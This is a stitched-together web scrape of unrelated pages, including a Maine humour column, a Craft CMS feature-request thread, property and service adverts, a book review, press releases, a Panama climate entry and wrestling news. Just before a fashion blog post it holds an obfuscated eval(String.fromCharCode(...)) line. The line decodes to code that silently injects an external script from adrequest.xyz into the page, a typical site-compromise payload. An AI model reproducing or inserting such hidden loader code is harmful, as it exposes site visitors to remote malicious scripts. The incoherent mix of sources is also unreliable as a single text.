text:
Eyah, That Was A Summercater
By John Gould
THE first tourist of the summer came by just now, and we made out fairly well. By the calendar, May Day is about right, but the season hasn't been salubrious, and I was still thinking March and April. He drove into our gravel lane with great effect, placing on the springs of his magnificent automobile much more trust than do the clamdiggers with their pickups. The clamdiggers, heading for the shore, zigzag, dodging the potholes we encourage to discourage speeding.
This gentleman was from away, and the antenna for his mobile telephone was whipping about some old goo-ood. Not expecting a summercater yet, I was really not quite ready with a seasonal rejoinder, and was embarrassed that I couldn't come up immediately with some succinct phrase that would make his trip to Maine worthwhile.
"Is this the Wadsworth Road?" he called in beautiful enthusiasm as if we had known each other since the Civil War, and I was glad.
It crossed my mind in a fleeting flash that were the response to be in the affirmative I could use one of my eyahs, on which I have been practicing every day for 10 minutes. But since our lane ends at the tidewater and goes nowhere, I was caught negatively, so to speak, and my only answer had to be, "No."
I said, "No."
I thought that was pretty good on short notice, considering that I was taken by surprise, but he seemed to be puzzled by the straightforward manner I had used, and he said, "It isn't?"
I had recovered some of my usual poise, so was able to do a mite better. "Nope," I said.
So he said, "Well, what is this road?"
Now I had steam up and was ready for the Reuben Boondocks role certified by all the travel agents and motoring clubs. I looped my thumbs into my overall straps and cleared my throat.
"Well-l-l," I says, "I tell ya. We been givin' the matter a great deal o' thought, and we hain't reached what you might call a consensus. I'd like to call it the Yappian Way, on account o' how across the river they's a pup that barks all the time, but my wife - my first wife, that is - says we don't get a class o' visitors here that would appreciate the illusion. You from away?"
"Yes," he said.
"I thought so. Who you lookin' for?"
"A family named Hunt on the Wadsworth Road."
"They ain't nobody on the Wadsworth Road named Hunt."
"That's the address they gave me."
"Don't suppose you'd be looking for the Blunts over on the Wadley Corner Road?"
"Blunts?"
"Eyah. Moved on last sum-muh. He ran a hardware store in Skowhegan. Blunt Hardware Company. You can't miss him. Big red house just beyond Sugarbash Brook.
"Where is this Wadley Corner Road?"
"Next one beyond the Wadsworth Road. You can't miss it."
He didn't even thank me. Just ripped in and out of my dooryard to turn around, and went off with his telephone aerial snappin' like a buggy whip.
I said to myself, "Ought-a chalk him on the back o' the shop door as No. 1, 1992." The way Smiley Johnson used to keep track of the mahogany folks who tossed anchor with no string tied to it. Smiley got 14 in one week in August.
So summer is icumen in, and at least one yokel coocoo has lhude sung. I'll check with the folks at the post office to see if anybody else in town has caught one yet.
Eyah.
Now I'll go back and finish potting my garden transplants. The weather has stayed unpropitious, and they're getting leggy.
Ohio voters take more measured view of 2016 race as wild summer fades
A literary road trip through New England
WWII transport plane returns to Normandy for D-Day commemoration


Unless I'm missing something - it would seem it is impossible to select elements from multiple sites with ElementQuery.
Both site and siteId seem to only accept scalar values, and passing null seems to only select the default/current site elements.
Correct. I guess I should take this as a feature request?
Doh, that is a doc bug; fixed for the next release. Just as you couldn't select elements from more than one locale in Craft 2, you can't (currently) select elements from more than one site at a time in Craft 3. Will look into what it would take to change that, though.
This request was posted in May. Is it being developed or do I need to look for other solutions to solve this problem?
Not currently being developed, no.
I proposed the ideas on my accidental duplicate of the following.
I needed this too so I've used the Twig array merge filter for the interim along with the excellent superSort plugin to sort the merged arrays back into chronological order.
Yup. I've discovered that we need the ability to run an entries query across multiple Sites. Where is the preferred place to add feature requests these days?
Just pushed up the 3.2 branch, which implements this FR.
As of d017022 you can pass multiple site handles to the site element query param (or multiple site IDs to the siteId param). You can also pass site('*') to query across all sites, or site(['not', 'siteHandle1', 'siteHandle2']) to exclude specific sites.
When you query across multiple sites, any elements that are enabled for multiple sites will be returned multiple times (once per site). This is great for cases when you want to create a language picker and get all of the localized versions of an entry at once. However there are cases where that wouldn't be desired, so we've also added the unique param (5a28060), which can be used in conjunction with site, which will filter out duplicate elements from the results.
We just tagged 3.2.0-alpha.1. If you've already updated a site to the 3.2 branch, please see the updated instructions above to update Craft to the tag, at which point you will be able to continue updating to new 3.2 releases like normal Craft updates.
@brandonkelly Thanks for that it's very helpful. I definitely can't get the '*' to get all sites working though. This is after following your instructions of using the alpha release.
@boxadesign It's working on my end. Can you email support@craftcms.com so we can help troubleshoot from there?
@brandonkelly but it is not possible to have relations in the CP for that?
Our problem at the moment is we have a team channel with over 900 entries. and 30 multisites. We have to propagate this team channel over all the sites to select team members. Is there a way how we can handle that much smarter?


Indian Ridge Country Club is a premier private community and equity membership club located in beautiful Palm Desert, California. As one of the finest private communities around, Indian Ridge offers its residents and members two Arnold Palmer Signature golf courses, an incredible tennis program with beautiful facilities, a fitness center, a full-service day-spa, and two restaurants that feature amazing food and service.
"What makes Indian Ridge different?" you may ask. Well, Indian Ridge is more than a country club; it is an equity club, meaning that the club is fully owned and operated by its members. In fact, Indian Ridge is the only country club of its kind in the Valley.
Indian Ridge is fully established and developed — meaning that you won't discover unpleasant surprises after. Indian Ridge is surrounded by a beautiful and gated community, with around 1,000 homes. These homes are available in a wide range of sizes, floor plans, and prices, making the community affordable and attainable for many potential home buyers.
The golf at Indian Ridge is unparalleled, and the courses were voted the best of the private golf courses in 2012 by Palm Springs Life Magazine. Golfers will enjoy courses that are both relaxing and challenging here, making it the perfect golf outing for any occasion. If you are interested in more information about the course, the club's website offers an aerial tour, as well as a hole by hole guide of the courses.
There are plenty of other areas to choose from if you feel that Indian Ridge isn't quite right for you. Palmilla is a popular community, which was voted the Best in American Living award, a prestigious award given out by the National Association of Home Builders, along with the Professional Builder Magazine. The homes in Palmilla are beautiful and unique, and they offer homebuyers luxurious amenities and gorgeous finishes. The homes in Palmilla are truly built to the demanding and exacting specifications of the luxury home buyer.
Mountain View Country Club La Quinta is another popular choice for California home buyers. Mountain View Country Club La Quinta also offers its members an exclusive Arnold Palmer Signature golf course, as well as many other luxurious activities and amenities. The community at Mountain View Country Club La Quinta also will not disappoint, with its beautiful homes and lush landscaping. These semi-custom designed homes range in size from 2500 square feet to just over 4,000 square feet, and each offers breathtaking views.
If you are interested in learning more about the homes available for sale in Indian Ridge, then you have come to the right place. Elaine Stewart is one of the leading real estate sales professionals in the area, and she is proud to be a part of RE/MAX Real Estate Consultants.
Elaine Stewart prides herself on her dedication to her clients, and she works with each of her sellers to be sure they get the best price out of their home. When representing buyers, she analyzes the market and works to negotiate the very best price on their behalf. The expertise she has gleaned from her many years of experience allows her to pick only the best real estate opportunities in today's ever-changing market.
Elaine was ranked as the #1 top producing RE/MAX agent in 2010, 2011, 2012, 2013 and 2014 in all of the Coachella Valley. With more than 20 years of experience in the real estate industry, Elaine has the experience and skills necessary to handle any of your real estate needs with ease. If you are in the market to buy or sell your home in the Coachella Valley, or if you are interested in more information on Palmilla or Mountain View Country Club La Quinta homes for sale, then please feel free to contact Elaine directly or connect with her online. Browse through her current listings, and then give her a call to get started today!


Our academic content is mapped for English, Maths and Science alongside numerous GCSE and BTEC courses that are on the Best 8 list for any learner.
Our support staff and teaching staff are online ready to help any child with any barrier to gain academic qualifications.
Please fill out the contact us form below or call us on 01909 568 3338 for further information.


var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125)); Top 6 Chic Dress Up Trends To Follow This Spring!
This season; pink color is going to rule and you will also love it for sure.
Though the beauty products and clothing accessories are considered incomplete without adding a touch of pink to it; this season you should give your wardrobe that extra edge by adding dresses that display different shades of pink.
Spring and summer seasons are all about adding too many accessories in your bag apart from the mandatory ones.
Therefore, it is also that time of the year when you should focus on getting a couple of stylish and modern handbags that would not only increase your fashion value but also serve their purpose well.
Give your fashion sense an extra edge of style and comfort with skin tight tank tops or baggy ones. No matter whichever option you go for; you have to choose what suits you best and makes an everlasting fashion statement at the same time.
Choose bright colors like pink, yellow or green as these colors look appealing to the eyes.
A few good pair of skirts will be as important in this season as anything else can be. They will not only complete your wardrobe but can also be used as matching accessories for many dresses.
You can buy them in contrasting colors with your favorite tops to create that WOW factor.
Give up on warm clothes as the spring season approaches and say yes to light fabricated items including chiffon, lawn and summer cotton.
You can buy them in matching color combinations or contrasting ones and they will look absolutely gorgeous.
Don't forget to buy floral patterned dresses this spring season as they will blend in perfectly with the weather.
Bright colored floral prints are already very much in fashion these days and have become immensely popular over the recent years. So, go ahead and buy some for yourself today!
Posted in Lifestyle and tagged deserves, dresses, everything, replace, vibrant, wardrobe.
Older →5 Top Makeup Tips for Acne Sufferers!


text:
The Glass House by Eve Chase (2020)
July 30, 2020 | Jane @ Stumbling Beyond Eden Rock
Eve Chase has a gift for spinning stories, bringing characters to life, and making glorious houses live and breathe.
This book begins with a report of the discovery of a body deep in a forest, and then comes the house.
Behind a tall rusting gate, Foxcote manor erupts from the undergrowth, as if a geological heave has lifted it from the woodland floor. A wrecked beauty, the old house's mullioned windows blink drunkenly, in the stippled evening sunlight. Colossal trees overhang a sweep of red-tiled roof that sags in the middle, like a snapped spine, so the chimney's tilt at odd angles. Ivy suckers up the timber and brick-gabled facade, dense, bristling, alive with dozens of tiny darting birds, a billowing veil of bees …
That house is the focus of three entwined narratives, two from the past and one from the presents, telling a story of mothers and daughters, of love and loss, and of history and its consequences.
Rita came to Foxcote, that wonderful country home, as the nanny of two children whose family who had just suffered a terrible trauma. She wasn't entirely happy about that, as becoming a nanny to a wealthy family in London had been her dream job, but she loved her charges and she know that they needed her, more than every now that their mother was mentally frail.
She was a city girl but she came to love the country.
The father of the family had to stay in London, his request that she send him regular reports made her uncomfortable, and what was happening to his wife and children – especially when one particular person visited – gave her serious cause for conccern.
Another voice from the past filled out the story, speaking of things that Sylvie didn't see or know.
Years later, Sylvie was making plans to leave her husband. They were calling it a trial separation, but she knew that they had drifted apart and that it was time for a permanent change.
She felt positive about the future, but her plans had to be put on hold when a terrible accident left her usually bright and active mother in a comma. Her daughter's reaction to that was not what she expected, Sylvie suspected that something was very wrong, because that had always been very close and they always talked about anything and everything.
I was captivated by both stories, past and present. Because the characters and relationships were so beautifully drawn that they lived and breathed, that they drew me in and made me care and want to know what would happen. Because the writing was so rich and evocative that the I felt that I really knew the times and places that the story visited.
At first there was nothing to indicate what would tie the stories together, but hints and facts were dropped in a way that was quite perfectly judged, until I knew and understood everything.
I wish that I could stop there, but I can't.
The early chapters were perfect, but as time went on I worried that two serious incidents in the story set in the past would be difficult to resolve. The plot, beautifully constructed though it was, took the lustre from the characters and the relationships. They needed space to shine, but they were weighed down and stretched too far by an excess of story.
I was able to keep faith for most of the book, but I found that in the later chapters I couldn't help feeling that the author spoilt her own story by trying to account for everything and everyone, and by tying the story set it the past and the story set in the present together much, much too tightly.
That is why, though I found much to love in this book, though it never lost its hold on me, I couldn't love it as much as I hoped I would, or as much as I loved Eve Chase's last book.
I hope that this wasn't a sign that the author isn't running out of ideas for this type or book, that she isn't trapped in a niche or under pressure to come up with new ideas to quickly. I hope that this is just a mis-step.
Maybe it was the literary equivalent of an artist who doesn't know when to put her brush down. I say that because I love the pictures that this book painted, but I need to stand back and not look too closely at some of the details.
Posted in Reading 2020Eve Chase
< Agatha's Husband by Dinah Maria Mulock Craik (1852)
Facing South by Winifred Peck (1950) >
4 thoughts on "The Glass House by Eve Chase (2020)"
www.rosesintherainmemoir.wordpress.com says:
Now you've whetted my appetite to read this author.
I can particularly recommend her last book – The Vanishing of Audrey Wilde aka The Wilding Sisters.
What's the difference between THE GLASS HOUSE and DAUGHTERS OF FOXCOTE, both written by Eve Chase? I just read a review by another blogger, "patriciau" of It's All About the Book" about DAUGHTERS . . . and another review of THE GLASS HOUSE by blogger "calturner" of Cal Turner Reviews. Both books involve the same set of characters, it seems, suffering similar traumas in the immediate past. Could these be the same story published under different titles?
I have had a look and they seem to be the same book. Her last book had different titles in the UK and the US and it is confusing.

redpajama_set_name: RedPajamaCommonCrawl


The International Swimming Pool Show is being held for the first time in Russia. The event Piscina Moscow, organised by Fira de Barcelona and Europexpo is opening today with the aim of helping Spanish and European companies to get a market share in economies of emerging countries that, like Russia, offer attractive business opportunities related to water culture.
Piscina Moscow, which is being held in the Russian capital's Expocentre from 11th to 14th March, has the support of the sector's main associations, such as the Russian Builders Association, the Spa and Wellness International Council (SWIC) and the Russian Waterpark Association.
Moreover, it is coinciding with two related trade fairs in well-established sectors: Climate World Moscow, dedicated to heating, cooling and air conditioning apparatus, and Garden Tool, which specialises in garden furniture. Overall, the three shows totalize more than 500 exhibitors and expect the attendance of 20,000 trade visitors.
Piscina Moscow is part of Fira de Barcelona international strategy, "the aim of which is to help the foreign expansion of exhibiting companies, in this case firms linked to the aquatic facilities business", said Ricard Zapatero, Director of International Business at Fira de Barcelona.
The increase in wellbeing in Russia has had a direct impact on growth in the construction and hotel sectors, both closely linked to the swimming pool market. According to Euroexpo, in 2012, over 250,000 single-family housing units were built in Russia, 75% of which have a swimming pool and 85% a sauna/spa. In order to meet this demand, Russia currently imports 85% of products and services needed to build and equip swimming pools, saunas, spas and aquatic facilities for sports and recreational use.
On the other hand, the interest shown by Russian consumers in aspects related to health, wellness and personal care has continued to grow in recent years, boosting the rise of wellness centres and spas. In Moscow alone, these services generate an annual turnover of 150 million dollars and, according to the latest market studies, the current working stock only manages to meet 30% of demand.
Aware of this, the government is promoting the construction of numerous public swimming pools in various regions of the country, which complements the growing demand for private swimming pools.


Son of Soron and The Missing Mage are now available as a boxset!
If you haven't read them yet, now is a great time to do so!
I just read the story "Son of Soron",being part of the collection "Dark Humanity" and enjoyed it very much! Unlike most ebooks I have read, it isn't full of mistakes, screwy colloquialisms and grammatical errors. Bravo!! I just keep thinking: 'What happened to the bracelet? 'A suggestion: Nathan finds it on one of the bandits- the leader?-and that gives him the anger and strength to defeat him. He may later bestow it upon his bride- Ava?Thanks for your attention.


text:
Simulation tool for efficient production of non-woven fabrics
Press Release / 1.3.2017
Non-woven fabrics are indispensable to everyday life. A Fraunhofer Institute has developed software that makes the production of non-woven products much more efficient and flexible. With the tool FIDYST, it has been possible for the first time to simulate the movement of fibers in turbulent air currents. A real innovation – and the breakthrough in a theory that is over a hundred years old.
© ITWM
High-Tech Material Fleece: Project Leader Dr. Simone Gramsch and her team have developed the simulation tool FIDYST. The simulation of fiber movements in air flows optimizes the production of nonwovens.
Non-woven materials are usually well hidden and are therefore not visible. However, if you are looking for them, you can find them everywhere: as a lining in winter jackets, as a padding in sofas, as a soundproofing mat in cars, as insulation in house walls, as a filter in kitchen exhaust hoods, as a cosmetic pad in bathrooms or as a separating layer in electric cables. Highly absorbent non-woven can even be found in the diapers of our little children. It is an extremely versatile and high-performance material which is indispensable in our everyday lives. Accordingly, textile manufacturers and mechanical engineers are interested in keeping its production as efficient and flexible as possible.
The Fraunhofer Institute for Industrial Mathematics ITWM in Kaiserslautern has developed special software called the FIDYST tool (Fiber Dynamics Simulation Tool). It simulates the movement of fibers in turbulent air flows. In the production of non-woven materials, the fibers or threads are each stretched with the aid of air and deposited onto a conveyor belt. Depending on the speed and temperature of the air stream, a non-woven product with the desired structure, density and strength results. One widely used application is random web, in which the individual fibers display a diverse orientation, thereby forming a random web which is simultaneously voluminous and firm.
How precisely the fibers move in the airflow and in which orientation they land on the conveyor belt is computed by the simulation software FIDYST which the researchers have developed. After simulating the airflow, the user only has to enter the material properties of the fibers in the software. The software then simulates the dynamic behavior of thousands of fibers. Even fiber mixtures can be simulated with the software. The result can be visualized in a three-dimensional representation.
Equipped with this data, the manufacturer can then, for example, improve the air flow in a targeted manner. This results in a non-woven fabric with the desired specification while at the same time reducing energy and raw material consumption. The software simulation can calculate that by changing the configuration of the machine, fewer fibers are needed to produce a non-woven fabric with the desired structure and strength.
The Fraunhofer tool not only benefits the textile manufacturers who want to precisely configure their machines for every desired non-woven product. "Mechanical engineers can also use it to create machines that are as efficient and flexible as possible," explains Dr. Simone Gramsch, FIDYST Project Manager at ITWM.
Despite the complex computing operations, FIDYST does not rely on expensive, high-performance computers or data centers; the tool is content with standard PCs of the upper performance class and runs on both Windows and Linux.
Unique feature of Fraunhofer
After the calculation, the data can be exported in the "EnSight Gold Case" format and then visualized and analyzed. The format is standard in applications that deal with the visualization and analysis of flow dynamics of all kinds, such as in aircraft or automotive engineering, but also in sports or medicine.
Behind FIDYST is a real world premier. For the first time, it has been possible to precisely simulate and predict fiber dynamics in air currents. "The development is the result of several years of research as well as a few doctoral theses. It has been worth it, though; with FIDYST, we have a unique feature," says project manager Simone Gramsch. The ITWM licenses the software to mechanical engineers or textile manufacturers. "If necessary, we also offer FIDYST as a service; then, all the simulations are executed on our computers according to the specifications of the customer," says Gramsch. This is useful when it comes to particularly complex and, therefore, computer-intensive projects.
Mathematics lovers might be interested in the topic for another reason. More than 100 years ago, the French mathematicians Eugène and François Cosserat worked on equations to describe the behavior of elastic materials. The theory of Cosserat-Rods, named after them, ultimately formed the basis for the Fraunhofer researchers.
The Fraunhofer researchers will present a demo of FIDYST at the INDEX non-woven trade fair in Geneva (April 4 - 7, 2017).
Research News March 2017 - Simulation tool for efficient production of non-woven fabrics [ PDF 0.15 MB ]
Ilka Blauth
Media Work
Online in Internet; URL: https://www.itwm.fraunhofer.de/en/press-publications/press-releases/2017_03_01_simulation-tool-for-production-non-woven-fabrics.html


LOCATED IN CENTRAL America, the Republic of Panama has a land area of 29,157 sq. mi. (78,200 sq. km.), with a population of 3,343,000 (2006 est.), and a population density of 111 people per sq. mi. (43 people per sq. km.). Only 7 percent of the land in the country is arable, the second lowest percentage in Central America, with 20 percent used for meadows and pasture, and 44 percent of the land forested. The level of carbon dioxide emissions in Panama was 1.3 metric tons per capita in 1990, rising to 2.3 metric tons per person in 2001, and then falling slightly to 1.9 metric tons per person by 2003. Most of this comes from liquid fuels, which make up 89 percent of all carbon dioxide emissions from the country, with cement manufacturing contributing 6 percent, and solid fuels (coal and charcoal) contributing another 3 percent.
The Caribbean coast of Panama has long had problems with hurricanes, but the rising water temperature in both the Caribbean Sea and the Pacific Ocean have led to increased worry over flooding, and has caused some bleaching of coral reefs in the Archipelago de Bocas del Toro off the northwest coast of the country. Although some 30 percent of the country has been set aside for conservation, the deforestation of many areas used for pasture has led to soil erosion, which has also helped contribute to the destruction of the mangrove swamps. There have also been effects on the wildlife in the pristine cloud forest on the Quetzal Trail around the Parque Nacional Volcán Barú, and worries about flooding, which in turn could lead to a spread of insect-borne diseases such as malaria and dengue fever.
The Panamanian government of Guillermo Endara took part in the UN Framework Convention on Climate Change signed in Rio de Janeiro in May 1992, and that of Ernesto Pérez Balladares signed the Kyoto Protocol to the UN Framework Convention on Climate Change on June 8, 1998. The Kyoto Protocol to the UN Framework Convention on Climate Change was ratified on March 5, 1999, and came into force on February 16, 2005.
BIBLIOGRAPHY. "Dengue Fever in Costa Rica and Panama," Epidemiological Bulletin (v.15/2, 1994); "Dengue in Central America: The Epidemics of 2000," Epidemiological Bulletin (v.21/4, 2000); "Panama—Climate and Atmosphere," www. earthtrends.wri.org (cited October 2007).


text:
Matt Hardy On When His TNA Contract Expires, Possibility Of WWE Return, TNA - Destination America
Scott Fishman recently interviewed Matt Hardy for Channel Guide Mag. Below are some highlights:
Impact on Destination America:
"I think Destination America had the best intentions when we started together. I'm much more hands on now than I was a year ago with Impact Wrestling and having creative input. But I think the network didn't get professional wrestling in some ways. I don't think they understood what it takes to truly make wrestling successful on their channel. They just saw us doing good ratings on Spike TV and that WWE does huge ratings on USA. They thought they were going to put us on their station and be made. There were also the little things where they wanted to have all their programming in America. I know there was some issue with some of the U.K. tapings airing on Destination America. To me that sounds kind of crazy. That's some of our best tapings and some of our most rowdy fans. It makes for some great TV."
See Also: Matt Hardy Talks To Wrestling Inc. About Signing With WWE, Tag Team Wrestling Today, Working With The Kliq & More
Possibility of a WWE return:
"Right now I'm standing atop the TNA mountain and waving the TNA flag proudly. My contract does come up in February. Obviously, I'm going to say 'never say never,' but my intention right now is to make TNA as great as it can possibly be. I think the wrestling world needs TNA. I think the wrestlers need TNA. I think the fans need TNA. I think they need it to be successful and grow and thrive. And I think that is what I'm here to do. I've been put in a position where I can make a difference. That is certainly my short-term goal is to make a difference and to put TNA on the map. As far as my future goes, I like to keep people guessing! That's part of the mysteriousness of Matt Hardy, as well!"
Hardy also discussed WWE stretching out two hours of content over three on RAW, the authority figure being overdone, how TNA can improve their product and more. You can check out the full interview by clicking here.
Source: Channel Guide Mag
Sasha Banks Absent From Two WWE Events, Update On WWE's "Too Sweet" Trademark, Xavier Woods
Final WWE SmackDown Of 2015, Which WWE Star Had The Best Year, WWE NXT Year-In-Review, Sin Cara
New Details On WWE Filming For Matt Hardy Series, Hardy Halloween, More Photos From Hardy Compound
Matt Hardy Teases "Magic" At The Hardy Compound, WWE Producers In Compound Photo, More (Photos)
Matt Hardy Makes Final WWE In-Ring Appearance, Says "It's Time To Go Home"
WWE Reveals Red HIAC Structure (Video), Matt Hardy Teams With Bray Wyatt, WWE NXT Star Retires Boots
Matt Hardy's Latest Woken Word (Video), WWE Entrance Ramp Ambushes, Matt Morgan, Trevor Murdoch


Have A Mcdonough Water Damage Removal Incident?
It doesn't matter whether the water problem was caused by a broken or cracked pipeline, fire damage, violent storm, sewerage backup, or some other accident. You can surely lean on Mcdonough Water Damage Pros to swiftly restore your house, office space, or industrial establishment.
Saw a Television commercial about Mcdonough Servpro Mcdonough ServiceMaster Mcdonough Belfor Mcdonough PuroClean Mcdonough Paul Davis Restoration Mcdonough DKI Mcdonough Steamatic Mcdonough Rainbow Mcdonough COIT Cleaning Mcdonough?
It takes the correct combination of experience, equipment, and team work to effectively handle water damage remediation when it arises.
Once you learn about a situation on your residence, it is essential that you find a Mcdonough water damage reparation provider rapidly!
Unless you rapidly eradicate the unwanted water, you can swiftly come up with a nasty mold trouble, or perhaps structural problems.
Why ought you phone Water Repair Pros of Mcdonough?
It does not matter how large or small your water damage repair is, Mcdonough residents can surely rely on us to complete the job done the right way.
When selecting a water damage Mcdonough restoration organization, you want to ensure that they are seasoned, have the very best tools, and have the ability to effectively fix water damage repair Mcdonough premises might experience.
No matter how big or little your water damage repair, Mcdonough residents are able to count on us to get the job carried out.
We will also manage water removal with your cellar, sewerage elimination, mold and mildew removal from water damage, water damage restoration and water damage cleaning all around the greater Mcdonough area.
- High quality: Your Mcdonough water damage mitigation is carried out correctly the initial time!
Problems are typically an unexpected emergency that requires a fast response. Just one call and you will be on your way to fixing all your water troubles.
A flooded crawl space or storm trouble never occurs at a convenient time. So any time it does occur, you can certainly expect Water Damage Pros to take action to your home or office.
